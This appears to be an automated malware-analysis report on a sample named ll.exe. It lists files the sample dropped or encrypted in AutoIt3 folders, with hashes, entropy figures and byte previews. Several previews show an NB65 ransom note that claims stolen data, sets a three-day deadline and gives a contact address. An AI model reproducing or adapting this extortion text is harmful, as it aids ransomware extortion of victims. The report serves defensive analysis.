C:\Program Files (x86)\AutoIt3\Include\WinAPIsysinfoConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):9552
Entropy (8bit):7.979371941609931
Encrypted:false
SSDEEP:
MD5:ADD5E953A13BE1997E52951EF88AA3E5
SHA1:6CE7D66F12362C25FB16A30C8FC4CBC3E41A49BB
SHA-256:6C5AF391D78A54CF11A5D434D96683DF1F612A91E2FB2C66EE6F14A56D5C7924
SHA-512:924ABFD09799489ABEFDA7398B662E1238CA77AE9A2DFAF9E0C4F0CC3CD823834F119569F062A25A5CB37DAE3DDAB2454795FB40CA863E6F28CD2B064106A460
Malicious:false
Preview:&.....@.............Z..f&..n....,|9.t..O...si.gx".3.c.q. ....<'U;...)~.%<....J........-...& d..e.....V...7............IE#&..I.%.{S..~P..<#w..mZ....".5.2...a.Gy...>.3.-Ql.*......_r..].!Q.H....i.r.j%..S...\.`".....|.....FZ..(..sa.#....a.!...^.U..72d..A..~..Z.x.U].>......p.'.E.+.A....".c:m.....b.iQDT-..8.j..kb.X.....W!......q.....RqD.0..UI@..UkN.M.....U.g...q.'.zf.Lfn....".FmY.,..eu.1...JB...H..n.93.....Sv..|.w0.8R}.2.%.qSn..K..M3Q...UE_b?.....-2.r......L8i.w..xL..y......yR}h.N...y.[..\[g.....v.c8...O$.%..!.....U...).....e~.y......._.g......$.U6..7P......p{.M....%.H...4`"..q.zq).h.`.=...7.Go.V.J...O..,..: ...... ...A..e&E*.B....."X..j..o.....*.U..!....].%...h.....<..p.o#..f/i.a.[...E.o..mo>...8..a.K...Z..n......y.E[.]v.o..V...._..3"...Z."Cp.~n.(GF...?e...Mv...%.5...&w...{m.=.W.M..26...6k....T.......`est...N....t*_..O<..rNo..o... .".X..!...k4l.+%.]._,DT..R.K.y...UY......"....#....)qZ{..Y......u.&ekGx..iC.<}G.gbb.s.;...8pJ.&.QP........a.......W@..)...T

C:\Program Files (x86)\AutoIt3\Include\WinAPIvkeysConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):6793
Entropy (8bit):7.978255064742617
Encrypted:false
SSDEEP:
MD5:9D51FA907616154672A8622EC38E4513
SHA1:1B752842C60A6CF37E820C03952DDA99A4EAF3EF
SHA-256:6F547048780A32FE8FDBB048FD78E4EF803BD008EA5679725140707EA499EE59
SHA-512:583CD9B498631C9CB8A6837FA833F402FA913C2004E4C12CF8B237ECEC6A41E72813EFAD642905F1FFC9E8E4E76D9865C5C5A316E8DACC6292AE679C38E40FD4
Malicious:false
Preview:R.S.....Vk.I=.B..\]...}../......z..7....<.v.Fr.n...w..w(..IG.o........&...)\.V"-..pw......GJ..,....U.....=.X..a!....B......&.v.n.1..R;.8.BIK.=.%.p]...b..,.P8E\.Mb~%....,./.GM...[...:..W............t......=.T..Sv..#I/......f.cZ.....Y.2.....e...P..@.......>.....U*.J.... .Ov....bY......|..u..x...."]<K...R.t.j3....4.'......n..['..cod.....&..u.4...e+.$r.).fu.;...+.b&R....l......~0.(........6.JT......Q../`.....#.-.zs....V.....Y..5O.Auy3VJ{...0...U(<..i.V")J.-.mh.._lS..Z.Jq..D.C...t.^X4..Mw..]A~.B5.y.....CiZ.f.Gd....L.K.........:w...,(.O..f& L.:c..`........{D.B..........;q-..B~_U.[..0..W...o!...Wy..]...d...?%xN.S..........G...].........^E...,..f..KI..9..f.|k.U..<h.....L:.VhO!..c.^V.......cC.+"...T<?f...J..aS...>S<....b.....nK.k.y.c....D......Zh.GQ.^:DDS<R6.....J..&....t...vW.A&.\LCyI...........R.{+6Dt.B....H..[.sZ.. ..3.c,....2...h..J..Q....Q6.Zq..{....<.}.*..&......M.).r..Lm'.O..]..B.y..e.{.....n._c.......=.b.c..v......Y..]..q....F..[n....

C:\Program Files (x86)\AutoIt3\Include\WinNet.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):46774
Entropy (8bit):7.99543409819069
Encrypted:true
SSDEEP:
MD5:C70B4A2BF95644487C4F73E4A6A61954
SHA1:CEDDEF875070595B179717BA182545BB99466A68
SHA-256:8563243CA219345F2B25F2887B2D319107778F84486F3E10B1C37AF61EF1D31E
SHA-512:2E2C6E639576B7C4CDFCC0BCF55DFDF7176C6497CADE3BAA9AA3A9E9611B9FA2F051C94A082AE7B9ADBF34D2EADE45DCD4EA44E36B0436853A859A54C510FA25
Malicious:true
Preview:..w.$:.N.6...g..bi..E..z.F..p[......M....).p=..C.t.?...k....9S>..>_......:.r....~.;......u..(f.=..j.N..O.....on....K......#.w.q.<p.Y.S..yD.n.A*....._;..mL..S.....j.....u...n?=..|e.J.....[.......?...F"3.7..Qx...,5.X..v.Q......K..].HX...sEy.\.=g..t..."X..3e.m....(..u..... ......7r...2....!-~.....=:.kvZ7o^.Q.].5.Tc..;R..s.8...> )X.|[~u.|....5~6P.M...eH.5..M.v]...@...ER(.........s.K.U.......(5 .L=....U\.......gFB.....u_s.....R.#`lh.;qZ..\.l.0.>.$[...L.q..m..=.,E0.h.4p!..(.nQy".+.J2!...].J....}.vd..j..E.y.l..sD.B=H.<.U%N.l......q..Pz.[3.h>.|....Cy...{zH+....m..Y.=....:.E7,..m...m.y..9.....'.....].N..D.jwr.8......?.`.M...{4]`.e..=..g_..U.m$[}u.v;.....H.1....*.(.h.g.+.:..<dc........X...F.....#.4.7...S.8....@k.6[..xN.7d%;.#.<l.*.......K...W....\^..\.9.3LC..)?.k..Z..-.y.ot......yU-..j.'G.....8.a.r.r.^,...k..JT..Up..N..%/.q..V.........]...T....."=.^..6......A#.;CC.r#.O..`].S.[.....aP...T..R.+..x.UA.T.W....L*=..^....Y~{..*O.....d.b

C:\Program Files (x86)\AutoIt3\Include\WindowsConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33944
Entropy (8bit):7.994142869440447
Encrypted:true
SSDEEP:
MD5:A400F7483836E767A0026EE4C7DC0DE8
SHA1:FABED0338558B9853D53C4FD7EBAA41B288297B7
SHA-256:B541FCABBD9B35E611C77A9CA28F43A6BCD644D5547C6C4FBADAAF69A8ADF21B
SHA-512:567EBA42BF734C067D69F4431D111E23DE370065FE0EFE11DAB708CE0F0B9DA53AFF15383FC6B783423C0AAE28BC1AF6301D7DA7A2CC74253B2B6679D5397CAE
Malicious:true
Preview:.2.3.2.....yd.xL..<Vwk.d.cS.|..... ..fi.-.e.9e.......3u....9t..%...3X<.j|..W.M)lo....$N..;q;.:>hgb...".W.H,zv/].!.....]6B./@.3&.>......C.w.S..z:>.....zs....3.C.~..\@N..R. .+.1......:.C.l(....G*.6.u.r...J.....7.]U.hqH..,.2......2=..m...n'...~.]f}Xil../...A.O.[..B08.WuN}...*.Dt..~1<.5..A....+G5@.v..W.8.?W.(.>..W.#.l"P..wRQyp..*H..0..^.K ..f72.f3T.....r..~!....:..Y?Sl...2p.*.......2....S....:..k....._.B...>.....%._....]R....~Z.CEt....]..A..$..U...T..c4.A.a.,Z.....[sb.....WM_,,..3R../...0-!...]...F......F}......A.V.....&6.O#.{.#....O....{.?..-.7.m$.g..%V`.7.(.gI.vpO.:._~.K..p.?u.\.<6.K...-%.],...|G.e..n..k..,...?......mh..n..p.]v]Q....sq....],...lC....f........2 lK.ZA...o/[..8...R....a..S.oC..Om.D3.Z...&..T..`..0&...8.f..a.{..s.l..gG..?.w...i..O$k.a.^F=uQm.l......r.sJ....gI....{.....U.O..z?.og.;..{.ao.l...K.v;..].c....?.........<..[9..eBX0.39.!..x2..E.Y..ck..d...s.5..iZ.[........!..o.+..l.(...G.."..so.I.NO..$E...0....Z..%...KA;.Mu1..7D.......

C:\Program Files (x86)\AutoIt3\Include\Word.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):33455
Entropy (8bit):7.993757015723213
Encrypted:true
SSDEEP:
MD5:17B913870197B17C45CD85C128651540
SHA1:6249DB1D00F69EB7FB15B2A8B19755B1245B4F41
SHA-256:C53D4B215CE3943BBC31FC3D1D695F3BFBF22F68909F83AB56A3B7C79ACEB3D5
SHA-512:CEC7C95B62E14464149FB50275B0E0494B3F7949461DD144F607C67A076EB277809BDAE06185E15238EA83E86F2F62CCF3BDB84AF9184509C00C6F89485115B2
Malicious:true
Preview:..M.H...[...O;.K=.1cm\...Y....*......1..H.l.'..Y.2.Y.e&@pF......gq.EB....'v....'.T.....#.U.....g{F.RZ{`|.+..U.~cCT..!..?..#P.xE .R....j..N..d.`.|..........UU...>..y.E.s.4.+...?.e....0...y.S.da..[2...fX....?`p...yH.|....V)....:.s.V....h..zu.Uh=./.,....u+..2..'5....E.,.I...5...(......]....| ..R......<.`J.A..Bt.~.t./4[.3.q.mIZH.|.U&X2...Xe..ZH..D.Q.\.L.,....L....`..K.Ze7.z..s...[..3fS.~..?...~.|=O0E.C..$......Z..W.j...n-=!7.....$6.........4.j....a...S..y<(i..}....>.]..r..s... ..0._..t.._..{...G....*.....p.Vk:....!.Y.W....?..P..rl......."..MNR3..{.V.....\.>..>......G.3n.p.h<p..U..e~.E...k^+.....=6..\Z.....}.....yg....K...f..H.I.'...b.........$@...0B.Q...[N..]J..[...a.k5o.Um).........m.....B..hP.?.....b.:{..[F.........../..{..v|....r. ..~.D.Veg..3.|....8.pm.../*)....nG..f+....}.,)...*...*K.9.I.LM;t..X.uXt..)1.0kr....(......q.I...$.g......+..>....0?.xaY.qYp^a+.w.C..f...m>bv@k6.....@T..s ...;.1.B.A.......r..Q.h..0.a....N......a.....Q......i.l..l=..s

C:\Program Files (x86)\AutoIt3\Include\WordConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):12202
Entropy (8bit):7.986953842541956
Encrypted:false
SSDEEP:
MD5:C187C8D4D35F07E1BA31351B2EC67981
SHA1:45E13BB75E8C9FA1AC2E83D2EA2942BF81722209
SHA-256:F919A89EAD88DC455DDBAC4360773D34EF8BBD16100FF56D246FDD658C040046
SHA-512:9CFFF2AD5C18E6D19D0D854DAAC1C970BF470513C16AC13AD5E0218856C0E5864D72F4E70798D9EEA77F58E65F3E4817AB15D53BBE3C81E5CA936C370B28B361
Malicious:false
Preview:k.PZ-.<.......!y.Kr.O.*.n..Z..J..<+v...S.....r.:..?..V.0....!...+..XY.v.r....^R..}T.D....6W.Tn...N.0...p...~Xq....../..>.1c..|.*..%..7.9..4hT...!*.pP+. . d`....j.!5ql..H.:...(wb..G..uLI..}...t.k.T...aT.....C..Z...z..Q........Iof.#......\..... S-T....E.U[....4w....49GW.x..$|G..A3.....+r.L...a3......j.B....o4?.B....=&....s..C."'n...q.P.?..."iz.u..n.h^*."..Y.g...M...._.k.l..a.s..c...{.p;.a..Fj.&...lCC...u..f.v.6..E.O....~+.X.F..=..).FC....R...>...PO......-.kWj}M..=..s..6...}Tb.;..;;iSt...............Z-.h...1..N.....{.....bR.\..eb.8b4..1...1f...c.:.Z..*..A.=Q..Pj=<v.........?.z.......q....!.'.b.#x...Y.V=\..K..f.S..7..X0.XA...).X.E....k*...%B.o...:.....e.w.G../~.........c.....-....Y.. ..nev!..T.{I...y........R.....5&rJE.,..5d.O..k{H.q.g......L..>...hZ.o..v....*......S.......>..mQ..&.. .k..Em..BG8P.*K&:.I...-qc%....'.....1d...?..=`s.. ................n==`....(}EG.u......5...J.&h....1I...W..,.....(>...+..^C52r.T...F./..,...9kpP..%._m..D

C:\Program Files (x86)\AutoIt3\Include\_ReadMe_.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):748
Entropy (8bit):7.674815106583818
Encrypted:false
SSDEEP:
MD5:F80EB46AAD6CA71729F0E46BF1254FA9
SHA1:436ACA4A197AFCF6591F397B9B91D5C8AE9D605D
SHA-256:B2EEA730DA63E5ABE9FF3C97AAF4AF627F0B33CA9C73F2AE452567FEA5B5B3FA
SHA-512:54A90F42ACB219FD8AD31B276AFEC2124A0C0DDA0CF3B61C7B5B3869EADBC9DC849C0EE4F8B17F5A4734FF67EEEBB350871350F4ABEDC5AB12885A56B886E46C
Malicious:false
Preview:....$.2..o...<G....6mm....s..(P.............YSh.\/6....He...\3.;D4lB.j.......Z.q.K...4..H........[..V+F...s./..p.'.x..]T....X.[..J\....%\.O.oF.D......2u1@.Z<.%..;i.Q..z.....j..p..QY...XC.8.C.........jVH.....K.'.+(R.3.*.Zxndz..^...V....d.j.ey.......;=.(.....pI..f.O].....f.....MY.:.b..Z..!y..x)...k...'.Q4.B3sEd..dA.dV.T5.*..uC....p..}{....5.k@.)...2..N..5Z...-.+.\CN..6:.U.;yr.,Jg.E.3'.}4...R..T(5.r.*^.'.....-C....\j........>-~i....:.w. T3...(6..+.b*.W.{......E6...........n$.?ix.>|.[6..,..-........h(h..WRF...z..KN.3..v&\}E.~....3.....Az2W. .Fn.D\..>.m....._..X....k;.....8....r.~..n=S<._B...Y..NmC..EO.N.y...w.M.hir..+^..OFQ7!;..i.jb..c.K_..,.o..W..#.ye<Yf.^....y..V......A:...7.w..{V....C............$.........

C:\Program Files (x86)\AutoIt3\Include\analysistimer.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3085
Entropy (8bit):7.931794404491141
Encrypted:false
SSDEEP:
MD5:B2C813EA6D207A5B9925F8D1AA10B7ED
SHA1:08C519C1F1BCE0FC1475059DA2126E60ADECFE84
SHA-256:2C547FB0056C15F7B8C74AA7A925A8C42BC201FE525CD3F9D8C1C4A8C63984F0
SHA-512:B0547A15511B00FCBE45AFF33BA1FA0A782227FEFD2366C1DE617823DA4AC7F48160065D6211904B387EE3DB1CEA6CE5A38346EC792EAC5AB8B6500E004E3B15
Malicious:false
Preview:.!.5.d.8Z.;P..\!.D r.U)K7.w..w<...Z-;..Pf..x..z....22Z.^...gi...FZ2.7......N=.D.....rL&s.U.T....D..G..%.s..n...O`]iM....[v.....V...........M.Y.u....z1..j..!.......VfA..td..........|)1...a.;..?....;.G...an.(u.....R..........0|x...y.'..9...i..[....v.X..W....'.@..C.H>....hq..?.............;v5.t..2]V....yz.7d..=.....t..N j$..*.\...E..[{v..M&1..]...@).w..W...q-J3...../P..........0...J.....v....iR.........U..&s.ks.F..0...$....U..I.))..;....8.*.3?.Y4...-...(...M..n.....k..45i.7.LW..\..a..<].|.....s...d.....%..^e.i.z.Q..2y......rK..3eI.s.!..A.w..#....1=.).|..=.\..a.^..N..z....;.R..L.....<...6,..v@n.....?.|.+....?.....e,..9...._w....[e...5(...d..&.I...mzI.&.(\....*...,c......!].:qr.m..........^3.2...|..D.....?kP.J+.U....l...d.|".....[.....6.......\..JH..h.......z4.[..a......&..@.7..%9Su+7..R...g...X..Y.~..bvJ."...<..%k-.G.7..t...x6..v..D......9.p. ...t.......j....e.....%.P..;S.ZL..d..B..D.ihpf.#vBw..y.w*Wi..v.."Ub.z......>.x.B...9..R.k..P.`

C:\Program Files (x86)\AutoIt3\Include\cleanup.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1880
Entropy (8bit):7.8751535980877465
Encrypted:false
SSDEEP:
MD5:16FEFD57B88C40084BACD144F605C750
SHA1:01FD170DB2F996C97BDFEBA1E51ADC45F89E2D86
SHA-256:4C64A73C03760EFA3EE2D0934CDB90247E44BACD988C676B4DC162A5BC0666A1
SHA-512:1EEEC012B2D903871C1F9324DA48B0E7D34B14E29B86766AC700A27A6CB8B98B58A6D356E5BF18D4796370FAF4EE8D3A2A846F836E315A00AC8434BBB3E47292
Malicious:false
Preview:..=i..-v..w.#.*I.H..N;`%r..\r...??..H%...r..H'H..!...S.......DCI.]..0...>(..I>.....;e...yq.~s...y.........m[...V.vD..H...Z....li....:p.$...R..>..fYE+..m..2..........]....|s.n.9........E.....JG..R......w...9..s..G..r....b..@.og.o:..Y.+,\(.d.G.i .<//v.B...(#)..-..x......i...i...b./.w......Q!..d..+..;..>e.5.{.. ..O.p.5|.I}.....[.........b-..e...;Aw.T.i..Z.x..@.t.*....H. ....v...9p..}...0sb...X.{..*..N].....|.....5x.R....d......."t..<.T..F...)..2H..".g.......JcfN...)."oH.e.Xw{...k\.s...+?}.^:......&7.C...i..u..........:2Y......8......lI.....:&...1...Q[F..........C.-......$....$=.UV.M@.u.8E..GK..o%.3Q@:n.!Z._....wQ...2...6..T.#....>.Z...;.cY..M.3.Y.7..h....q...,..b..s.#J.=. ..~WU..| .v..T..*..p>...Y...............b...e...[.w....o,.......,zod...k:.j..nTE.4...T..\.0.2......{..UcV...A..?..K.... ....._;...N.Rx<.._R.*...u..$..!.&h.x........$.%.B)yX.k,.g....sY.p.L..8.<...o.XJ..!....9..TC..^..c..o.'..........T.\.b.. ...Iyo..'..f7..W...CO.d

C:\Program Files (x86)\AutoIt3\Include\helper.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM)
Category:dropped
Size (bytes):21333
Entropy (8bit):7.99021460723909
Encrypted:true
SSDEEP:
MD5:CAC37454DFD4252CB4DD17C7102995C4
SHA1:84C4B6502CE27B59730FC30B35572F81157F486D
SHA-256:4559FEFD43402C189C7070C88746B02308B7B1B7E20169FD6104E30CE1D1C49F
SHA-512:49BA03C2BD272C3C146EA574F6CEA9AE500F9A2D3CFDAA1B55D7D28AE4E6428CF7398D529261F441E38ACF2FFC54ADCF49C882D1E0508FBF0D45F9424AD0F53A
Malicious:true
Preview:..!..~.H+2.j.?.I....C....v.O4.A.5D7....nh...NDLR......,...i.v.R.{.w..s..E,..t..1.I.g..ve....92'..9...^.yyxk..nT.4.&.+_.....\.......vS.+...&v...p`.2.a.<'.n./....Bl....9.`C..w.:..F...Y/;+|..4nQ.H.U;...."l...-U;.x.@... ..(59..YD"P~..i6..,..[..&....LQ..&.C..........RW&c~..>...S...u..3.&.l.|......B.j../0...5c.-.._......tWX..5>@...@.2...N...{.nGx.).......J.}.K.TB.*..iV...id.8..z.b>..+B..Y{._Z.8..*m.x.<..H.....w1..ok' .".u'..U0k.7*.....t...$....V..$.l..*.A"9.eF.+C......y....r6G.F=T_m4O.F\.NHc.r|.]y.$v......v...H...F....b.P......o..Me.(A...h......D......x.}.j#.'L........HC..c@.}>.k...0g'Ap^...W... &)}.R\.....Y.....T..N.I............eH.R.rG.q.hp.y.y..w...z.....<....{.....e.49.].........f...L.y....S....B.|..A{.V.......S....^..Rs..J].:...uh...E.p...a....... ..w........@....b.}..v..6q....h..]=BY..2.&vrs....B)..;_......F^.x.'../.".p.8t...%$..R^8*&..K..c.7....R.>3.Rn.7)...sq.u.Ws.....kQ........@P....{A.~qN.I.2.%c.'=_.t.,.Y/..:....e......oW7..ks.~do

C:\Program Files (x86)\AutoIt3\Include\htmlfetcher.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5726
Entropy (8bit):7.964140269296911
Encrypted:false
SSDEEP:
MD5:86C62C7E14702B8E34ADCAB3EDD31E3E
SHA1:269AC277D331FDF3F78C81D241D11674D3181843
SHA-256:57AB5D2B44FA00524DFA45F001B1DABE2090936F25F197F17AAFCD14160E2200
SHA-512:C0AB944A2CA306D6B18085179C1D078F3B2B53B1C149AF25F4F9546109CE60077A3B14A00D4B1DA3FB0D5116589E744CB9CB2FF37B7281C2E38626D6F3B55AB5
Malicious:false
Preview:.g...]..~..m..b.;$.....h..#.t..kL...g.4....v.+...x..i..."..9p...R;..m...Q....DI...L.!..o.:..'o.(j.....6...X..l....R.....w.=..G.ht..{.5U.....^w.:^.......~.j.D.....=!.I.5..L...n!...s.gb................L6....A.r...O.ml.sy..I..z...[.._@...M.....X+.a1...t.Lo.Jx.v.!I...]BX.....T..a.......|..zj'... F.w..[.G.......|..l..x|...O...<./#...'0....../.=lvZB....S6>{..J.TS..i.Q.Bxt.b.a%7..D...........Xih.y...D.^1.@=;.8.g#...^.mc....CM...J....P.o.q..&.n....oD9yM...J.I9:^A.$....Qa.7............6%S..`.f...y=.#....%.a.N..vaG.t..$#.t..%...'.@.H.4..A}.:T{H.%..+)..b...w.....?.?.6|Z.P.5mi.....6Y...;n.-..".$.q..B...$)....|.9...O4.Zt.i.7..P=<q...|@......;.9.v......>Z..o.9!."..x.}j.._... ........'.g...#..0n.ag.;...j|:jN.KN....fmt.D)..W..5.....s*..Wka.wRt.44..-......<:..'\...#...W[V.[lPpR.@...&o.d.7D...4g.NMX...=.;...4.O....s...".W.....).$......k\B8B0.u........o.../..4.....,..h..{...k.......D+... .. ...5...s....!4..a.......0.] ..3[.0(........$|..|V...

C:\Program Files (x86)\AutoIt3\Include\ie.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):154079
Entropy (8bit):7.998856041089511
Encrypted:true
SSDEEP:
MD5:DA2B66BADA6EBE122F59A119FCD3DBDB
SHA1:D03B2D9225148FC0D8BA2BFA5242AA5754700F82
SHA-256:40E21F673FF4745ECCEE74499045224BFAA7E819BE540B8350D0DDA53C519092
SHA-512:88DC5288E89971E8FE068750F36BC5EED679229856189576B83B803840870D96328483486405EB37C1FEB73160B424916E8A90012C39D694905A80A8ED195BC1
Malicious:true
Preview:....].k...x..O#V...h.$..\.qy.%.Q....B...M}..W. .u...EL...t..P..T.QZ..W?..d.%I]E..k..2..V.._..S..h1...At....&..S].|..u.G...^S..b.3]M..w{Y).M....[......I[.\.....&..].p......`.....x....:.X....C.......1...@...T.n-..2^z.s....uG$.....6..W.....BYT...3..q.1+...a.eZ...(+..&"..k.,...P[!.D].f.ms4.Q.E..O.`...j.p...<.:.B.....>.....6.yw?..........7..b..Y~....^...J..y.^.N....a..T...*..a.&.2...JU6..42.H..c....|.!P.Rm.............SBg.......f|.)*.~....e....).".>..|...8..m..S.o.L]...=.........).U.>...."..3+...).r.^...........$X.W-.[..Y.......{.xe..A4]...G .n...U.....`.%f*Bj.F.B..lo..!..&.V....6..z.Ysi.j.. .k|.4@...rz...m..m...O.j.F..Y...b.6.....\o...X......g.B.7....uD/*\ka.]nr..|..l.',.!.lD;0.......==.l~...0...z2.......3(8Q[,R.E..B!zZ..R.B.6K+.3./..U.....n.. E..zE....eG?.F...]..3R....#..$~.....=..Va..E...M..q.cS,.........7...K.Gp^#..~..z..m...~0...S...M8..)..'..{..sv@.'..]..t....\.....R8.......}=.....C..z#.fS......`F..........A....b...y.........bH..

C:\Program Files (x86)\AutoIt3\Include\liveprocess.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3182
Entropy (8bit):7.929820703312438
Encrypted:false
SSDEEP:
MD5:52223D5F1FD695BA1A29BCF966571BE7
SHA1:96F277FF94ACEEB9F4762030E211F48D26AE53D0
SHA-256:FFD37911D0B4E695DF51B54243E1B3101093A2BE6C3591A379F6277C1A702609
SHA-512:4F502A7CB06455BBCCD6AA6433D060D027EEF339D8D708E57BE2726F5BEA180BC4D04FB144BF14DB1341A478C10C4E44974F1466D87D7FEBC1D6E2B531011A31
Malicious:false
Preview:F/T.~$..M.U?... 5.?..o.;.m......!2.. 1....R.}~.>[...=....e~.e..`.K+J.f3..x..xz.|....$.f..33...B...o....r...#.W..u.P.y..W.qX........Sfn..f......Q..2......P.l....=|.r....1....r..[`..)2O.......*2....O}...jd.J.....x.fz....!....<n".af5...+)'..{.....@.[.C.].}.,......_........}.)J.. .....Hk...>?9.y:./...1.:..q..R.~W....G.),3(..O....`...t#....{W.,.D.h...8g..T.......UCn...S8...c..WJg....(.kE....9....#...4.G]2d..=.u..e\..7.PJ..{.Z9.8.r.E....O*.JA...R..g....v...8uZ..<.M5....~]9..5...T..%..q.....&.<...d..7.G.7..Ky.?..,_.Y.SW.......q...+.@8.\.|cVq-.]...8..a....O.a..#.|...'<.[b...4;v..qL..y_.z.}.y 5m..U[..?.l..uJ..;.._6nq%.x..V.k......<....^..,y[.......T~...=.0.!R.%......6:.M.r..t....P.7...f..............a..#..>....Dz.d<. .7.T[.$..j.~.Y...X5....~Qo.1..RRE..$..y.WJ.N..A.=..bx.|2f`F.xP.{.e...................p.H..t...K..h.V....!..z"..1. .c%W...B..."Y....n4.l....I%.PF'G.E1.{....OD.~.|5>j..V....K..J&.>.o2x..V....mm.6ejX....>...qp..[7..y-....N&.. ;..h..> ..1.

C:\Program Files (x86)\AutoIt3\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\SciTE\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\SciTE\au3.keywords.properties

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):91845
Entropy (8bit):7.997859200585987
Encrypted:true
SSDEEP:
MD5:5E58381FC3264F562D31860ACD81EC0E
SHA1:B9A14E738494227FEEC052452E15C144684F11DA
SHA-256:85CAB6382202E6B8B459B34E8557F701CD670AE22CEF5202CEB99C8025A7C80C
SHA-512:5DA333FD4FD57D34D6336EC9F05D537B73E4272C06398B060FD4E52660EAEA97F21D9D8293244244100215114A295DC8A95C18831C0356A52614E888F4DF3C7A
Malicious:true
Preview:.q...X..=1c..,....k.....4....d..C...*.......-2.j..Pi..............U".~..`f.8...j.|.d.A..Z +:.....h..c&[G/.*.......5"C?...7.....F...s[.)....U.$y..bI..5...lq.%_.O..2.uP\.,....If...=..No'c..<.....L#QY...R6....g....O<.*....*..Gh...B.a....;...OI.W..v.....z)..~..0u(.......N..<.|..D...........~......N...\...2j7...ea..SS.......v.UF.../.s!.T..'.^...R..|./B..%+.w.Q..B.)T.I.Y....fOt.........v..O...r.5..2.....[Z..U.<.w......(..1g..6...].a..x..q.d.. .k\.u..Zz.8...9..G'.CC.[L...S9.Nk.~,.'..D..I]W.l....[.C..... s.}bi..-...Z...3o...7[..@.6.z.%..f.8..,*..n...O.3.........*.....W....>......5.v+4S.q.}....78.......x..r...e.J...f......2.........z..'.g@....+c..ndE.R6..,..o.rP..y.v9'@.........Rb..!..C.&`HUe....TU{..me./....CE.R)f....0.T.OrS.....E.kB!/.'.P..Y.[..%..Y~.D...r.J..4..$.R?z.+.;c..|.lq.....G...8t.m....a... .^.(R.....X......|N........Q.K.io.....G.N./..W...T....k...4;.(.............%r.C..WA..Y=.....k..]...o.=.kj<!.k.../.I....)...Od..nl.=5..c!....9.&.o1.....

C:\Program Files (x86)\BqAkjNodUdHbHouxLASvwteFrQplaxonGJfrhccpfkNshmHIlOpYapDdPOSOogtd\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
